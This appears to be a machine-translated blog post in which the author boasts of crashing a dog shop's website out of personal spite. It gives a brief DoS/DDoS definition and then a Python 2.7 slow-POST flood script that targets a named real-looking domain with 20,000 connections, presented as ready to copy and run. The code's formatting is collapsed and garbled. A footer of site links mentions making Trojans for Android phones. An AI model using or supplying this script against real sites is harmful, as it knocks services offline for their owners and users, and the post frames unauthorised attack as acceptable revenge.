preface

One
Dog shop owner bullies my goddess , As a programmer, if you can tolerate it, it's still a man ? After learning that the dog shop owner bought a dog website, he decided to hack him , Is he arrogant or not . I use it DOS attack , In a minute, his website collapsed , Relieving Qi .

DOS

DOS Denial of service attack (Denial-of-Service
Attack) Also known as flood attack , It's a network attack , Its purpose is to exhaust the network or system resources of the target computer , To interrupt or stop a service temporarily , As a result, its normal users cannot access it .
   Distributed denial of service attack (Distributed Denial-of-Service Attack), It is to use two or more computers that have been compromised on the network “ corpse ”
Launch to a specific target “ Denial of service ” Type attack .

code

Windows upper python 2.7 It's a direct copy of the past running paralysis .
import socket import time import threading #Pressure Test,ddos tool
#--------------------------- MAX_CONN=20000 PORT=80 HOST="www.bjlovedog.com"
PAGE="/index.php" #--------------------------- buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n" "Content-Length: 10000000\r\n" "Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST)) socks=[] def conn_thread(): global socks for i in range(0
,MAX_CONN): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:
s.connect((HOST,PORT)) s.send(buf)print "Send buf OK!conn=%d\n"%i
socks.append(s)except Exception,ex: print "Could not connect to server or send
error:%s"%ex time.sleep(10) #end def def send_thread(): global socks while True:
for s in socks: try: s.send("f") #print "send OK!" except Exception,ex: print
"Send Exception:%s\n"%ex socks.remove(s) s.close() time.sleep(1) #end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=()) conn_th.start()
send_th.start()

Technology
©2019-2020 Toolsou All rights reserved,
Digital rolling lottery program Keras Save and load model (JSON+HDF5) Remember once EventBus Project issues caused by memory leaks I've been drinking soft water for three years ? What is the use of soft water and water softener msf Generate Trojan horse attack android mobile phone Time conversion front desk will 2020-07-17T03:07:02.000+0000 Into 2020-07-17 11:07:02 Chuan Shen 1190 Reverses the substring between each pair of parentheses leetcodehive Summary of processing methods for a large number of small files SparkSQL Achieve partition overlay write Image format conversion